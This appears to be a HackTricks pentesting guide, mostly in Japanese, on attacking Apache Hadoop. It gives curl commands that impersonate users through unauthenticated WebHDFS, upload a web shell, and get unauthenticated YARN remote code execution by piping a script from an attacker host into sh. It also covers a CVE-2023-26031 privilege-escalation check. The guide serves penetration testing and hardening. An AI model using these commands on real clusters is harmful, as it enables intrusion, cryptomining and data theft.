50030-50060-50070-50075-50090 - Pentesting Hadoop
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
基本情報
Apache Hadoop は、コンピュータクラスター上で大規模データセットの分散ストレージと処理を行う オープンソースのフレームワーク です。ストレージには HDFS、処理には MapReduce を使用します。
一般的なデフォルトポート:
- 50070 / 9870 NameNode (WebHDFS)
- 50075 / 9864 DataNode
- 50090 Secondary NameNode
- 8088 YARN ResourceManager web UI & REST
- 8042 YARN NodeManager
- 8031/8032 YARN RPC (often forgotten and still unauth in many installs)
残念ながら、本ドキュメント作成時点では Hadoop は Metasploit framework のサポートがありません。ただし、以下の Nmap scripts を使用して Hadoop サービスを列挙できます:
hadoop-jobtracker-info (Port 50030)hadoop-tasktracker-info (Port 50060)hadoop-namenode-info (Port 50070)hadoop-datanode-info (Port 50075)hadoop-secondary-namenode-info (Port 50090)
デフォルト設定では Hadoop は認証なしで動作する 点に注意してください。ただし、セキュリティを強化するために HDFS、YARN、MapReduce に Kerberos を統合する設定が可能です。
WebHDFS / HttpFS の悪用 (50070/9870 or 14000)
security=off の場合、user.name パラメータで任意のユーザーを偽装できます。いくつかの簡単なプリミティブ:
# list root directory
curl "http://<host>:50070/webhdfs/v1/?op=LISTSTATUS&user.name=hdfs"
# read arbitrary file from HDFS
curl -L "http://<host>:50070/webhdfs/v1/etc/hadoop/core-site.xml?op=OPEN&user.name=hdfs"
# upload a web shell / binary
curl -X PUT -T ./payload "http://<host>:50070/webhdfs/v1/tmp/payload?op=CREATE&overwrite=true&user.name=hdfs" -H 'Content-Type: application/octet-stream'
If HttpFS が有効な場合(デフォルトポート 14000)、同じ REST パスが適用されます。Kerberos の背後にあっても、有効なチケットがあれば curl --negotiate -u : を使えます。
YARN unauth RCE (8088)
デフォルトの “simple” モード(dr.who)では、ResourceManager REST API は no auth でジョブの提出を受け付けます。Attackers はこれを悪用して、HDFS の書き込み権限を必要とせずに任意のコマンド(例: miners)を実行します。
# 1) get an application id
curl -s -X POST http://<host>:8088/ws/v1/cluster/apps/new-application
# 2) submit DistributedShell pointing to a command
curl -s -X POST http://<host>:8088/ws/v1/cluster/apps \
-H 'Content-Type: application/json' \
-d '{
"application-id":"application_1234567890000_0001",
"application-name":"pwn",
"am-container-spec":{
"commands":{"command":"/bin/bash -c \"curl http://attacker/p.sh|sh\""}
},
"application-type":"YARN"
}'
If port 8031/8032 RPC が公開されている場合、古いクラスタでは protobuf 経由で同じジョブ送信が auth なしで許可される(いくつかの cryptominer キャンペーンで文書化されている)ため、これらのポートも RCE と見なしてください。
Local PrivEsc from YARN containers (CVE-2023-26031)
Hadoop 3.3.1–3.3.4 container-executor は relative RUNPATH からライブラリを読み込みます。YARN コンテナを実行できるユーザー(安全でないクラスタ上の remote submitters を含む)は、書き込み可能なパスに悪意のある libcrypto.so を置き、container-executor が SUID で実行されると root を取得する可能性があります。
簡単な確認:
readelf -d /opt/hadoop/bin/container-executor | grep 'RUNPATH\|RPATH'
# vulnerable if it contains $ORIGIN/:../lib/native/
ls -l /opt/hadoop/bin/container-executor # SUID+root makes it exploitable
修正済み(3.3.5)。セキュアコンテナが不要な場合は、バイナリが SUID になっていないことを確認してください。
参考資料
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。


